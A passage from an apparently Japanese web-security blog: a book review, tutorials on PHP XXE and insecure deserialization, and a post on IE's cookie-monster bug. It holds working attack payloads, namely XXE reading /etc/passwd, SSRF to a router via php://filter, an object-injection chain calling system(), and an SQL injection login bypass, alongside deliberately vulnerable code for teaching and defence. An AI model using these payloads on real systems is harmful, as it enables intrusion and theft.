2018年1月31日水曜日

[書評]サイバー攻撃 ネット世界の裏側で起きていること

中島明日香氏の近著『サイバー攻撃 ネット世界の裏側で起きていること』を読んだので紹介したい。本書は、一見すると入門者向けの初歩的なセキュリティ解説書の体裁をとっているが、その内部に著者の恐ろしい野望が秘められていると感じた。

重要事項説明

  • 著者と評者には特筆すべき利害関係はない
  • 評者は本書を自費で購入した(献本等ではない)
  • この記事のリンクにはアフィリエイトが含まれる

はじめに

本書は、ブルーバックスの1冊として、サイバーセキュリティの分野の、特に脆弱性について焦点をあて、入門的な解説を試みるものである。本書6ページから、「本書で扱う内容」の一節を引用しよう。
本書の目的は、適切なサイバー攻撃対策を講じる際の一助となることです。そこで、脆弱性そのものとそれを突く攻撃手法について、情報科学の知識を持たない人でも理解できるように、基本的なところから解説します。
この一節だけでも、本書の狙いが意欲的なものであることが分かる。情報科学の基礎知識のない人に対して、脆弱性の成り立ちを説明することがどんなに困難であるか、評者は身にしみて実感している。だが、私が驚いたのはここではなく、本書の目次である。目次を引用しよう。
第1章 サイバー攻撃で悪用される「脆弱性」とは何か
第2章 サイバー攻撃は防げるか:脆弱性の発見・管理・修正
第3章 プログラムの制御はいかにして乗っ取られるか:バッファオーバーフローの脆弱性
第4章 文字列の整形機能はいかにして攻撃に悪用されるか:書式指定文字列の脆弱性
第5章 いかにしてWebサイトに悪意あるコードが埋め込まれるか:クロスサイト・スクリプティングの脆弱性
第6章 機密情報はいかにして盗まれるか:SQLインジェクションの脆弱性
第7章 脆弱性と社会:脆弱性市場からサイバー戦争まで
第4章に注目いただきたい。何と「書式指定文字列の脆弱性」(CWE-134)が紹介されているではないか。よりによってマニアックな…ということもあるが、CWE-134を入門者向けに簡単なイラスト等で比喩的に説明するのは不可能ではないのか。著者はどうやってこれを説明するつもりなのか、評者の第一の興味はここにあった。

本書の構成

ここで本書の構成を概観しよう。
第1章では、脆弱性とは何かということで、「ソフトウェアとは何か」というところから話を起こしている。著者は脆弱性を「欠陥の中でとくに第三者が悪用可能なもの」と定義しており、これは評者の定義「脆弱性は悪用可能なバグ」とよく整合していて評者の満足度が少し高くなったw それはともかく、著者は、ソフトウェアの説明をその分類(ファームウェア、OS、ミドルウェア、アプリケーション)から丁寧かつ簡潔に始め、脆弱性が悪用されると何が怖いのか、なぜ脆弱性は生まれるのかというポイントを説明していく。
第2章は「サイバー攻撃は防げるか」として、脆弱性の歴史や、脆弱性情報共有のためのCVE、CVSS等の仕組み、脆弱性のライフサイクルやゼロデイ攻撃の説明、脆弱性の現状等を概観する。
第3章から第6章は、代表的な脆弱性として、バッファオーバーフロー、書式指定文字列の脆弱性、クロスサイト・スクリプティング、SQLインジェクションを取り上げ、詳しく説明していく。これらの章が本書の中核であろう。
第7章は、脆弱性と社会というテーマで、脆弱性にまつわる光と影のエコシステム(脆弱性報奨金・バグハンターや、脆弱性売買のブラックマーケット)の存在、サイバー戦争への言及と続き、最後は「いかにしてサイバー攻撃から身を守るか」で締められている。

本書の眼目は 3章から6章

前述のように、本書の眼目は、脆弱性というものを基本から解き明かす3章から6章にある。驚くべきことに、著者は、脆弱性を説明するに際して、比喩に逃げずに正面から脆弱性の成り立ちについて説明している。そのために、3章の冒頭は、簡素なC言語入門の様相を呈している。スタックオーバーフローについて理解するには、ソースコードをコンパイルして機械語にすること、関数や引数の概念、オートマチック変数を実現するスタックフレーム等の概念が必要になるが、著者は、プログラミングを知らない読者に向けて、これらを簡潔に説明していく。その上で、スタックベースのバッファオーバーフローの実際について、C言語ソース、アセンブリ言語のソース、機械語、図表等を交えながら丁寧に説明する。
バッファオーバーフローの実例として、著者はPHPの脆弱性 CVE-2011-1938 を取り上げているが、ここでも評者は驚くことになる。評者はかつて、この脆弱性をブログ記事で取り上げたことがあるからだ。

PHPのsocket_connect()関数における *つまらない* 脆弱性の話

当脆弱性を紹介した理由を著者は以下のように説明している。
本節で紹介したCVE-2011-1938の脆弱性は、ほとんど悪用される可能性はありません。なぜならば、攻撃者がsocket_connect関数の引数を指定できるケースはほとんどないためです。脆弱性の構造が単純で、初心者にもその仕組が把握しやすいため、この例を紹介しました。
実は評者も先のブログ記事で似たような説明をしているのだ。
memcpy関数でUNIXドメインソケットのソケット名をコピーしていますが、addr_lenのチェックをしていません。絵に描いたようなバッファオーバーフローですね…そもそもUNIXドメインのソケット名を外部から指定できるというシナリオが「あり得ない」状況です。UNIXドメインのソケット名を外部に公開する必要がなく、任意のソケット名を外部から指定できることによる脆弱性も考えられるからです。
さて、評者が本書を取り上げるきっかけになったのは何と言っても第4章の「書式指定文字列の脆弱性」である。著者はどのようにこの脆弱性を説明しているか。著者はまずprintf等の書式指定について説明を始め、書式指定子を外部から指定できることの問題点を詳細に説明している。書式指定子の指定によるバッファ書き換えの方法として、%n書式による悪用の実際を実に丁寧に、図やソースコードを交えて説明する。おそらく著者が一番書きたかったのはこの第4章なのだろう。
書式指定文字列の脆弱性としては、sudoの脆弱性 CVE-2012-0809 を取り上げ、脆弱なソースの紹介、脆弱性が混入した原因、修正後のソースの説明に至っている。ここの内容は評者も初めて知るもので興味深かった。

ここまで紹介した第3章と第4章はいわゆる「バイナリ」の分野だが、第5章と第6賞はウェブアプリケーションの脆弱性についてである。XSSやSQLインジェクションを説明するためには、脆弱性の説明の前に、HTTPやHTML、JavaScript、セッション、SQL等の要素技術を説明する必要がある。これだけで力尽きてしまいそうだが、著者はこれまで通り基礎事項の丁寧な説明を続ける。XSSとSQLインジェクションの基礎的な説明の後、悪用例として、XSSはセッションハイジャック、SQLインジェクションは認証回避とUNIONを用いた情報漏えいを紹介している。いずれも妥当な解説である。

著者の野望は果たされたか

冒頭で述べたように、著者は本書でプログラミングを知らない層向けに、脆弱性について詳しく説明を試みている。そのためにはプログラミングの知識が必要不可欠であるため、脆弱性の説明のために必要なプログラミングの知識から本書では説明が始まっている。実に野心的な試みと言わざるを得ない。
では、その著者の野心は成功しているのだろうか。これについて、評者は「分からない」と言うしかない。既に評者はプログラミングをある程度知っているので、プログラミングを知らない読者が本書を読んでどんな感想を持つかはわからないし、正直なところ、プログラミングをまったく知らない読者にとって、本書は難しいのではないかと思った。この点については、しかるべき読者の評を待ちたい。
ただし、本書は、プログラミングをある程度知っている読者にとっても極めて有益だ。なので、著者の狙いはともかくとして、本書の「現実の読者層」は、ある程度はプログラミングになじんでいるセキュリティ入門者なのではないかと思った。

ささいな指摘

いくつか軽微なミスを見つけたので報告しておこう。

・CVE-2011-1938が影響を受けるバージョンについて
本書P97にて、CVE-2011-1938は、「PHPのバージョン5.3.3~5.3.6に存在していました」と説明している。これは公式な説明がそうなので無理もないが、正しくは5.2.7~5.3.6である。詳しくは、前述の評者のブログ記事を参照されたし。

・SQLについて
「SQL(Structured Query Language)」はという説明があるが、ISO等の規格では、SQLは何かの略語ではないとされている(P172)。

・SQLインジェクションにおける認証回避の攻撃文字列
SQLインジェクションの攻撃例で、認証回避の文字列を以下のように説明しているが、
'OR'A'='A'
正しくは下記である(P181; 末尾のシングルクォーテーションが余計)
'OR'A'='A

まとめ

中島明日香氏の『サイバー攻撃 ネット世界の裏側で起きていること』を紹介した。プログラミングの知識のない層向けに脆弱性の本質を説明するという著者の試みはまことに野心的であり、評者はその野心と、野心の実現のための努力に敬意を表する。果たしてその野心が額面通りに実現されたかどうか、評者には判断できないが、少なくともプログラミングをある程度知る層に向けては、脆弱性についてのよい手引になると考える。



2017年12月25日月曜日

PHPプログラマのためのXXE入門

この日記はPHP Advent Calendar 2017の25日目です。前回は@watanabejunyaさんの「PHPでニューラルネットワークを実装してみる」でした。

OWASP Top 10 2017が発表され、ウェブのセキュリティ業界がざわついています。というのも、2013年版までは入っていたCSRFが外され、以下の2つの脅威が選入されたからです。
  • A4 XML外部実体参照(XXE)
  • A8 安全でないデシリアライゼーション
これらのうち、「A8 安全でないデシリアライゼーション」については、過去に「安全でないデシリアライゼーション(Insecure Deserialization)入門」という記事を書いていますので、そちらを参照ください。
本稿では、XML外部実体参照(以下、XXEと表記)について説明します。

XXEとは

XXEは、XMLデータを外部から受け取り解析する際に生じる脆弱性です。具体的には、XMLの外部実体参照により起こります。
ここで、XMLの実体(entity)は以下のように宣言するものです。例はWikipediaから拝借しました。

<!DOCTYPE foo [
<!ENTITY greeting "こんにちは">
<!ENTITY external-file SYSTEM "external.xml">
]>
このようにして宣言した実体は、XML文書内で、&greeting; &external-file; という形(実体参照)で参照します。
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY greeting "こんにちは">
<!ENTITY external-file SYSTEM "external.xml">
]>
<foo>
 <hello>&greeting;</hello>
 <ext>&external-file;</ext>
</foo>
上記で、external.xmlの中身が、「Hello World」だとすると、上記のXMLの実体参照は以下のように展開されます。
<foo>
 <hello>こんにちは</hello>
 <ext>Hello World</ext>
</foo>
ということは、XMLを受け付けるプログラムに外部実体宣言を含むXMLを食わせれば、ウェブサーバー内の任意のファイルを読み込み表示するという、あたかもディレクトリトラバーサルのような攻撃ができることになります。これがXXEの基本形です。

サンプルプログラム

ここでXXE脆弱なサンプルを紹介します。年賀状の季節ですので、住所録を想定して、XML形式ファイルで個人情報をアップロードして登録するプログラムを用います。PHPではJavaに比べてXXEを発現する条件が厳しいので、一番ありそうなケースの一例として、パッチのまったく当たっていないDebian 7 (wheezy) で実行しています。

まずはXMLファイルをアップロードするHTML。
<form action="xxe.php" method="post" enctype="multipart/form-data">
  <input type="file" name="user" />
  <input type="submit"/>
</form>
XMLを受け取り登録する(実際には登録内容を表示するだけ)のプログラム。
<?php
$doc = new DOMDocument();
$doc->load($_FILES['user']['tmp_name']);
$name = $doc->getElementsByTagName('name')->item(0)->textContent;
$addr = $doc->getElementsByTagName('address')->item(0)->textContent;
?>
<body>
以下の内容で登録しました<br>
氏名: <?php echo htmlspecialchars($name); ?><br>
住所: <?php echo htmlspecialchars($addr); ?><br>
</body>
正常系のデータ例
<?xml version="1.0" encoding="utf-8" ?>
<user>
  <name>徳丸浩</name>
  <address>東京都港区麻布十番</address>
</user>
この場合の表示
<body>
以下の内容で登録しました<br>
氏名: 徳丸浩<br>
住所: 東京都港区麻布十番<br>
</body>
ここで攻撃例として、以下のXMLファイルをアップロードします。
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY pass SYSTEM "/etc/passwd">
]>
<user>
  <name>徳丸浩</name>
  <address>&pass;</address>
</user>
表示は以下となります。
<body>
以下の内容で登録しました<br>
氏名: 徳丸浩<br>
住所: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
【以下略】
/etc/passwdの内容が表示されていることが分かります。

XXEの発現する条件

ところで、なぜこのデモにDebian 7を用いたかというと、Debian 7で提供されているlibxml2のバージョンが2.8.0というXXE対策のされていないバージョンだからです。libxml2の2.9.0以降は、外部実体をデフォルトでは読み込まないようにするという制限が加わり、上記の脆弱性デモは成功しなくなります。Debian7でもlibxml2に最新のパッチが当たっている環境では大丈夫です。
Debianに限らず、CentOS(6以上)、Ubuntu(12.04以降)でも全てのパッチが当たっていれば大丈夫です。つまりPHPでは、XXEは基本的に「プラットフォームの問題」といえます。

新しいlibxml2でもXXE脆弱にする方法

では、libxml2が2.9以降なら絶対安全かというと、アプリケーションレベルで外部実体を読み込む設定にしていれば、当然脆弱になります。上記のスクリプトだと、以下の追加によりそれは可能です。
$doc = new DOMDocument();
$doc->substituteEntities = true;          // この行を追加
$doc->load($_FILES['user']['tmp_name']);

その他の攻撃

先程の攻撃スクリプトでは、ウェブサーバー上のファイルを読み出す攻撃を紹介しました。これ以外にhttp:等のURLを指定して、別サーバーの情報を読み出すという攻撃ができます。この攻撃は一般にSSRF(Server Side Request Forgery)と呼ばれ、外部から直接アクセスできないサーバー・機器への攻撃用の踏み台として用いることが可能です。

攻撃シナリオとして、ある人が自宅のPCを外部にウェブ公開している場合に、そのサイト経由で自宅リモートルータに侵入する実験をしてみます。
この場合、外部実体宣言として以下のようにすればよいわけですが…
<!ENTITY router SYSTEM "http://192.168.0.1">
実際の攻撃では、以下の2点の課題があります。
  • ルーターの認証を突破する必要がある
  • 外部実体が展開された結果が正しいXMLになっている必要がある
この2点を解決する方法ですが、まず認証の突破は、ルーターのパスワードがわかっていれば(あるいは辞書攻撃により)、URLに埋め込む形で以下のように指定することができます。ユーザ名: admin、パスワード: PASSWORDを例として想定しています。
http://admin:PASSWORD@192.168.0.1/
次に、XML形式としての妥当性ですが、PHPでXXE攻撃する場合、以下のようにPHPフィルタを用いてBASE64エンコードするという技が知られています。
<!ENTITY pass SYSTEM 
"php://filter/read=convert.base64-encode/resource=http://admin:PASSWORD@192.168.0.1/">
これを用いて、自宅のAtermを攻撃してみました。詳細は省略しますが、上記手法により、無線LANの事前共有鍵を盗むことができました。ウェブサーバーを踏み台として、外部からは直接アクセスできないルーターの管理画面にアクセスができたことになります。
この種の攻撃を防止するには、XXE脆弱性の排除は当然として、ルーターのパスワードを強固にする事が重要です。これは、DNSリバインディング攻撃にも有効な対策です。

対策

PHPの場合XXE対策は、既に述べたように、libxml2をバージョン2.9以降にするか、対策パッチを適用することです。Linux上にウェブサーバーを設置している場合は、最新のパッチがあたっていることを確認して下さい。
加えて、アプリケーション側で明示的に外部実体の読み込みを許可していない必要があります。

今まで説明していない対策として、以下の関数呼び出しによる方法があります。
libxml_disable_entity_loader(true);
これですと、libxml2のバージョンやアプリケーションの他の設定に関わらず、常に外部実体の読み込みが禁止されます。単独で安全な設定になるので推奨したいところですが、強力過ぎて副作用もあります。この設定にすると、サンプルスクリプトの $doc->load() メソッドの呼び出しもエラーになってしまうのです。つまり正常系が動かなくなるケースがあります。

これに対応するには、loadメソッドを避け、別の方法でXMLファイルを読み込んでから、その文字列をloadXMLメソッドで解析します。下記の例では、file_get_contentsで読み込んだXMLファイルをloadXMLメソッドで解析しています。
libxml_disable_entity_loader(true);
$doc = new DOMDocument();
$xmlstr = file_get_contents($_FILES['user']['tmp_name']);
$r = $doc->loadXML($xmlstr);

まとめ

PHPにおけるXXE脆弱性について説明しました。
PHPの場合、libxml2を最新にするだけで防げるので、XXEがOWASP Top 10に選入されたと知って「なぜ今時?」と思いましたが、Javaの場合はデフォルトでXXEが有効になるので、PHPはたまたま安全なケースが多いということなのでしょう。ただし、仮にXXE脆弱な場合、PHPは攻撃のバリエーションが増え、危険度が増加する可能性があります。
ウェブサイト運営という観点からは、libxml2を最新の状態にするという対策で通常は問題ないかと思います。一般に公開するソフトウェアを開発する場合は、libxml2が古い環境を想定して、以下のいずれかによる対策をお勧めします。
  • libxml_disable_entity_loader(true); を呼んでおく
  • libxml2 2.9以降必須という条件をドキュメントに明記する

2017年12月14日木曜日

2017年に登壇した勉強会を振り返る

この記事は #ssmjp Advent Calendar 2017の14日目です。昨日は、tigerszkさんの「ssmjp2017 ~今年一年の振り返り~」でした。明日は tcsh さんです。
ssmjpにちなみ、2017年に登壇した勉強会についてスライドとともに振り返りたいと思います。

セキュリティとUXの◯◯な関係

アレなタイトルですが、副題も「すれ違い続けた二人の運命の邂逅~セキュリティとUXは本当にトレードオフなのか」となっております。

日時: 2017年6月9日 20時~
場所: ヤフー株式会社 紀尾井タワー コワーキングスペース LODGE
講演タイトル: セキュリティ対策の都市伝説を暴く

登壇者は、BA(当時)の太田良典さんとヤフーの日野隆史さん、私でした。私からは、「セキュリティ対策の都市伝説を暴く」と題して、UIを損なうセキュリティ対策が本当に必要なのかというお話をしました。



聴講された方のブログ記事をいくつか紹介します。

セキュリティ・ミニキャンプ in 近畿 2017(神戸)

神戸のミニキャンプにて併催されたサイバーセキュリティセミナー in 神戸の特別講演を依頼されたものです。Webアプリセキュリティの基礎をというご要望でしたので、そのような内容になっています。

日時: 2017年6月30日 13時~
場所: 三宮研修センター 6階605会議室
講演タイトル: Webアプリセキュリティの常識




YAPC::Fukuoka 2017 HAKATA

YAPC::Fukuokaでゲスト講演を担当しました。この時は何をしゃべるか悩み抜いた末、40分で技術的にまとまった話をするのは無理、ということから、最近のウェブサイト侵入の事件をデモつきでひたすら紹介するというネタに走ったところ、なんとベストスピーカー賞を頂戴してしまいました。

日時: 2017年7月1日 10:00 〜
場所: LINE Fukuoka株式会社
講演タイトル: ウェブセキュリティの最近の話題早分かり




OWASP 名古屋 第1回ローカルチャプターミーティング

OWASP名古屋チャプターの記念すべき第1回チャプターミーティングで講演させていただきました。ウェブセキュリティの基礎というご依頼でしたが、少しネタに走りまして、たにぐちまことさん著の「よくわかるPHPの教科書」に含まれる脆弱性を題材にして、一通りのウェブアプリケーション脆弱性を説明するという趣向でした。具体的には、SQLインジェクション、CSRF、XSS、ファイルアップロードの問題について、この書籍の脆弱性(初期の版のもの)を使って説明しています。

日時: 2017年9月2日
場所: 愛知大学名古屋キャンパス(笹島)  講義棟8階、L802教室
講演タイトル: ウェブアプリケーションセキュリティ超入門





若手エンジニアのためのセキュリティ講座 - サポーターズCoLab

サポーターズさんの依頼により若手エンジニアのためのセキュリティ講座という講演を実施しました。後半では、セキュリティエンジニアのお仕事、徳丸自身のキャリア、いつまでも現役エンジニアでいつづけるために…などのお話をしています。

日時: 2017年9月9日
場所: 渋谷スクエアA
講演タイトル: 若手エンジニアのためのセキュリティ講座




PHPカンファレンス2017

PHPでは例年講演させていただいておりますが、今年はセキュアコーディングのお話をしました。簡単に要約すると、「従来は、外部からの値は信頼できないものとして扱うべきという原則が言われていたが、ソフトウェアは複雑なので、どの値が外部由来かどうかは簡単に判別できないので、内部・外部に関わらず信頼できないものとして扱うことを原則とすべきではないか」というお話です。

日時: 2017年10月8日
場所: 大田区産業プラザ PiO
講演タイトル: 著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則




デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう

弊社(EGセキュアソリューションズ株式会社)で実施した勉強会です。デバッガを用いてWordPress本体やプラグインの脆弱性を追っかけることにより、脆弱性の中身を深く知ろうという趣旨のものです。

日時: 2017年11月15日(好評のため 11月29日に同内容で再演)
場所: EGセキュアソリューションズ株式会社
講演タイトル: WordPress 本体とプラグインの脆弱性をデバッガで解析しよう



ブログ枠で参加された方のブログ記事を一部紹介します。


2017年11月の#ssmjp

以前「秀丸マクロを生成する秀スクリプトという言語処理系を作った」という記事を書きましたが、その内容について講演させていただきました。

日時: 2017年11月30日 19時~
場所: ヒカラボ (レバレジーズ本社( 渋谷ヒカリエ 17F )
講演タイトル: 秀スクリプトの話



秀スクリプトのデモ動画を貼っておきます。


こちらは、秀スクリプトでスクレイピングをするデモです。


ということで、今年も多くの勉強会で登壇させていただきました。来年もよろしくお願い致します。

2017年11月30日木曜日

IEのクッキーモンスターバグはWindows 10で解消されていた

エグゼクティブサマリ

IEのクッキーモンスターバグはWindows 10では解消されているが、Windows 7とWindows 8.1では解消されていない。このため、地域型JPドメイン名と都道府県型JPドメイン名上のサイトは、クッキーが外部から書き換えられるリスクが現実的に存在しするので、セキュリティ対策上もクッキー書き換えのリスクを考慮しておく必要がある。

クッキーが外部から変更された際のリスク

ウェブサイトの利用者が第三者によりクッキーの値を変更されると、以下のような攻撃が可能になります。
  • セッションIDの固定化攻撃(脆弱性がある場合)
  • クッキーを攻撃経路とするクロスサイトスクリプティング攻撃(脆弱性がある場合)
  • 一部のCSRF対策の回避
「一部のCSRF対策」と書いたのは、OWASPの資料ではDouble Submit Cookieと呼ばれるもので、乱数値をクッキーとリクエストパラメータの両方に持たせ、両者が一致していれば正規のリクエストとみなすという方法です。OWASP公認の方法のせいか、脆弱性診断でよく見かけます。私の知っている限り、以下のアプリケーションフレームワークのCSRF対策として採用されています。
  • FuelPHP
  • CodeIgniter
  • Django
いずれもメジャーなものですね。他にもきっとあると思います。
Double Submit Cookieは、サーバー側で状態を保持する必要が無いため、RESTとの相性が良いというのも最近好まれる理由かと思いますが、外部からクッキーを変更されないことを前提しているところが微妙なところです。
筆者の所属企業の脆弱性診断サービスでは、Double Submit CookieによるCSRF対策は指摘対象となっていて、危険度は状況によりInformationからMediumまで変わり得ます。

クッキーを外部から変更する方法

クッキーを第三者が変更する方法ってあるの? と思われた方も多いと思いますが、以下のような方法により可能です。
  • クッキーモンスターバグ(対象ドメインかつ対象ブラウザの場合)
  • HTTPSを使っているサイト(参考
  • クロスサイトスクリプティング脆弱性がある場合
  • HTTPヘッダインジェクション脆弱性がある場合
  • サブドメインに信頼できないサイトがあるか、XSS等の脆弱性がある場合
このうち、脆弱性によるものは当該の脆弱性を修正すればよいとして、「アプリケーションに脆弱性がないのにクッキーが書き換えられる」ものは、クッキーモンスターバグとHTTPSを使っている場合です。後者は以前詳しく説明したので、本稿では、クッキーモンスターバグについて取り上げます。

クッキーモンスターバグとは

東京都のサイトを例として説明します。東京都のサイトは、地域型JPドメイン名を使っていて、ホスト名は www.metro.tokyo.jp です。ここで、example.tokyo.jp という都道府県型JPドメイン名の罠サイトから、domain=tokyo.jp のクッキーが設定できたとすると、この罠サイトを閲覧したユーザーは、東京都のサイトで有効なクッキーを設定・変更されてしまうことになります。 
通常このようなSet-Cookieはできないはずなのですが、Internet Explorer(IE)は伝統的に(?)このようなクッキーを受け入れてしまいます。この種の問題はクッキーモンスターバグ(Cookie Monster Bug)と呼ばれます。

Windows 10 でクッキーモンスターバグを検証してみた

IEのクッキーモンスターバグは最近でも有効なのだろうかと思い、全ての更新プログラムを適用したWindows 8.1 と Windows 10で確認してみました。Windows 10では、Edgeも同様に検証しています。試験用のドメイン名としては、kawaguchi.tokyo.jpとtokumaru.bunkyo.tokyo.jpを用いました。その結果は下記のとおりです。


ドメイン名ドメイン属性Windows 8.1Windows 10
IE11IE11Edge
kawaguchi.tokyo.jp tokyo.jp 設定可設定不可設定不可
tokumaru.bunkyo.tokyo.jp tokyo.jp 設定可設定不可設定不可
bunkyo.tokyo.jp 設定可設定不可設定不可

結論としては、Windows 10では、IE、Edgeともクッキーモンスターバグは解消されています。厳密にどのタイミングで解消されたかは追えてないのですが、Windows 10の初期の版から解消されていることを確認していますので、Windows 10が登場したタイミングで解消されたのではないかと予想しています。

クッキーモンスターバグとどう付き合うべきか?

とは言え、Windows 7とWindows 8.1ではIEのクッキーモンスターバグは解消されておらず、上記の経緯から予想するに、これらでは解消される見込みは薄いと考えます。これらのWindowsがサポート終了となるのは、それぞれ2020年1月14日と2023年1月10日ですから、少なくともWindows 8.1がサポート終了となる2023年1月までは、クッキーモンスターバグのことは想定しておかなければならないことになります。

脆弱性対処との関係

セッションIDの固定については、ログイン時にセッションIDを振り直すという標準的な対策を取っていれば、クッキーモンスターバグの影響は受けません。
問題は、Double Submit CookieによるCSRF対策の回避です。こちらは簡単な対応策がありません。このため、IEのクッキーモンスターバグの影響がある地域型JPドメインおよび都道府県型JPドメイン名のサイトでは、Double Submit CookieによるCSRF対策は避けて、別の方法で対策するべきではないかと考えます。
なお、クッキーモンスターバグの影響がない場合でも、通信経路上に攻撃者が存在する場合は、中間者攻撃によりHTTP側でクッキーを改変できます。筆者の所属企業ではDouble Submit CookieによるCSRF対策を(危険度は様々だが)常に指摘対象としているのは、こちらの攻撃経路を考慮しているためです。

まとめ

クッキーモンスターバグの現状について報告しました。現状の見通しとしては、Windows 8.1のサポートが終了するまでの約5年間は、地域型JPドメイン名と都道府県JPドメイン名においては、クッキーが外部から変更されるリスクを多めに見積もる必要があります。その結果、少なくともこれらのドメイン名上に置かれるウェブサイトにおいては、Double Submit CookieによるCSRF対策は避けるべきだろうと考えます。


PR記事

OWASP Top 10 2017に対する弊社脆弱性診断の対応

2017年10月5日木曜日

PHPカンファレンス2017にてセキュアコーディングの話をします

PHPカンファレンス2017にて講演する機会をいただきました。

日時:10月8日(日)10:00~17:00(徳丸の出番は14:10から)
場所:大田区産業プラザPiO(東京都大田区)
費用:無料(申し込みはこちら
講演タイトル:著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則

想定聴講者としては、SQLインジェクション対策は聞き飽きた、もう少し突っ込んだ話が聞きたいという方を念頭においていますが、小難しくならないように、できるだけ平易にお話したいと考えています。

私はセキュアなプログラミングに関して、とにかく個別の脆弱性を守るための各論が大切で、それを知らないとどうしようもないという立場を取ってきました。その考え自体は変わっていないのですが、そうは言っても個別の各論を束ねる原則論、総論はないかのという思いはもちろんあります。
従来から、そのような「セキュア開発の原則」については各方面から提案のあるところですが、私はどれを見ても納得がいきません。恐らく、それらが根本的におかしいということはないと思うのですが、用語が曖昧だとか、書かれている例が適切でないとかの積み重ねにより、納得感が薄いのです。

このような私の思いに対して、自分自身の考える「セキュア開発の原則」をまとめたいと思い、過去に以下のような講演をしたことがあります(2016年2月27日)。


タイトルが「試み」という遠慮がちなものになっている理由は、世の中の教科書的な原則論に逆らう自信がまだあまりなかったからというのが正直なところですが、この講演は幸いにも概ね好意的に受け止められたと認識しています。

それから1年半がたち、ようやく「こうではないか」というものがまとまりましたので、PHPカンファレンスの場で発表させていただきたいと思います。

話の前半は、信頼境界の話から、脆弱性対処の原則論の話に展開していきます。

  • 値の扱い方
  • 信頼境界とは何か
  • 典型的な脆弱性と信頼境界の関係
  • 防御的プログラミングとセキュアコーディング

話の後半は、演題にあるようにPHPの著名アプリの脆弱性を取り上げ、それらがなぜ混入したか、どうしたら防げたかという話題になります。それは脆弱性を修正する方法という意味ではなく、どのような考え方をすればそもそも脆弱性が混入しなかったかという話です。

ところで、昨年のPHPカンファレンスでは、和田卓人さんの招待講演が素晴らしかったですよね。


和田さんのようにはいきませんが、私も和田さんがされたような話をしたいと大いに刺激を受けました。その成果をいくばくかでも披露できればと考えております。

2017年9月25日月曜日

安全でないデシリアライゼーション(Insecure Deserialization)入門

先日のブログ記事にて、Welcartのオブジェクトインジェクション脆弱性について説明しましたが、オブジェクトインジェクションという脆弱性自体の情報源があまりないので、入門記事を書こうと思い立ちました。

(2017/11/22追記)
OWASP Top 10 2017に正式に公開され、そのA7に安全でないデシリアライゼーション (Insecure Deserialization) が入りました。これは、本稿で扱うオブジェクトインジェクションと同内容ですが、OWASPの表記にならい、タイトルを変更しました。

以下、「そんなプログラムあり得るか?」という現実性についてはあまり気にしないで、原理的にオブジェクトインジェクションがどのようなものかについて順を追って説明していきます。以下、PHP言語のケースを題材として具体例を提示しますが、概念自体は他の言語でも通用するものです。

シリアライズとオブジェクトインジェクション

シリアライズとは、構造を持ったデータをバイト列形式に変換することです。PHPではserialize関数その他の方法で行えます。PHPのシリアライズ形式は見た目文字列のように見えますが、nullバイトを含むためバイナリデータとして扱う必要があります。シリアライズ結果を元のオブジェクトに戻すことをデシリアライズといい、PHPではunserialize関数により行えます。これらを模式的に表した図を以下に示します(*1)。


オブジェクトをシリアライズするのは、オブジェクトを伝送したり、保存したりするためです。この際にhiddenパラメータやクッキーを経由すると、シリアライズされたデータを差し替えることができるので、オブジェクトの偽物をつかまされることになります。これがオブジェクトインジェクションです。


脆弱なプログラム(1)


オブジェクトをシリアライズしてクッキー経由で引き渡ししているスクリプトを考えます。まずは、シリアライズしてクッキーにセットする側。ご覧のように、このクラス Foo にはinit()というメソッドがあります。

<?php // setcookie1.php

class Foo {
  public function init() {
    echo "Foo::init() done\n";
  }
}

header('ContentType: text/plain');
$foo = new Foo();
$serialized_foo = serialize($foo);
setcookie('FOO', $serialized_foo);
echo str_replace("\0", '[nul]', $serialized_foo);  // \0 を [nul] に変換して表示
次に、クッキーを受け取る側です。クッキー経由のシリアライズされたオブジェクトをデシリアライズして、メソッドinit()を呼び出しています。
<?php // getcookie1.php

class Foo {
  public function init() {
    echo "Foo::init() done\n";
  }
}

class Bar {
  private $sys;
  public function init() {
    system($this->sys);
    echo "Bar::init() done\n";
  }
  public function __construct($sys) {
    $this->sys = $sys;
  }
}

header('Content-Type: text/plain');
$foo = unserialize($_COOKIE['FOO']);
print_r($foo);
$result = $foo->init();
しかし、このスクリプトでは、クラスFoo以外にクラスBarも定義されています。偶然なことに、クラスBarにもメソッドinit()があり、このメソッドは、プロパティ $sys を引数として system() 関数を呼び出しています。
このため、このスクリプトに、クラスBarのインスタンスをシリアライズしたクッキーを与えてみます。そのようなクッキーを作るスクリプトを下記に示します。
<?php // setcookie2.php

class Bar {
  private $sys;
  public function init() {
    system($this->sys);
    echo "Bar::init() done\n";
  }
  public function __construct($sys) {
    $this->sys = $sys;
  }
}

header('ContentType: text/plain');
$bar = new Bar('whoami; pwd');
$serialized_bar = serialize($bar);
setcookie('FOO', $serialized_bar);
echo str_replace("\0", '[nul]', $serialized_bar);
これにより、クッキーFOOに、クラスBarのインスタンスがセットされます。この状態で先のスクリプト(getcookie1.php)を実行すると、下記となります。
Bar Object
(
    [sys:Bar:private] => whoami; pwd
)
www-data
/var/www/html
Bar::init() done
Barインスタンスのプロパティに 'whoami; pwd' がセットされているので、init() メソッド実行時に下記が実行されることになります。攻撃の成功です。
system('whoami; pwd');
もっとも分かりやすいオブジェクトインジェクションによる任意コード実行は上記のものですが、流石にこのように都合よく攻撃に使えるクラスがあるケースはレアでしょう。そこで、次にもう少し現実的にものを考えてみます。

脆弱なプログラム(2)

次に検討するのは、共通名のメソッドinit()等はないケースです。この場合でも、オブジェクトが生成された場合暗黙に起動されるメソッドがあります。こちら、厳密には複数あり、新原 雅司さんのブログ記事に詳しいですが、多くの場合デストラクタが問題になると考えてよいでしょう。すなわち、デシリアライズにより生成されたオブジェクトはいずれ「どこからも参照されない状態」になり、このタイミングでデストラクタが呼ばれます。

それでは、下記のスクリプトをサンプルとして、攻撃例を示しましょう。
<?php // getcookie3.php

class Foo {  // 本来使われるはずのクラス
}

class Baz {  // 攻撃に悪用されるクラス
  private $func;
  private $args;
  public function __construct($func, $args) {
    $this->func = $func;
    $this->args = $args;
  }
  public function __destruct() {
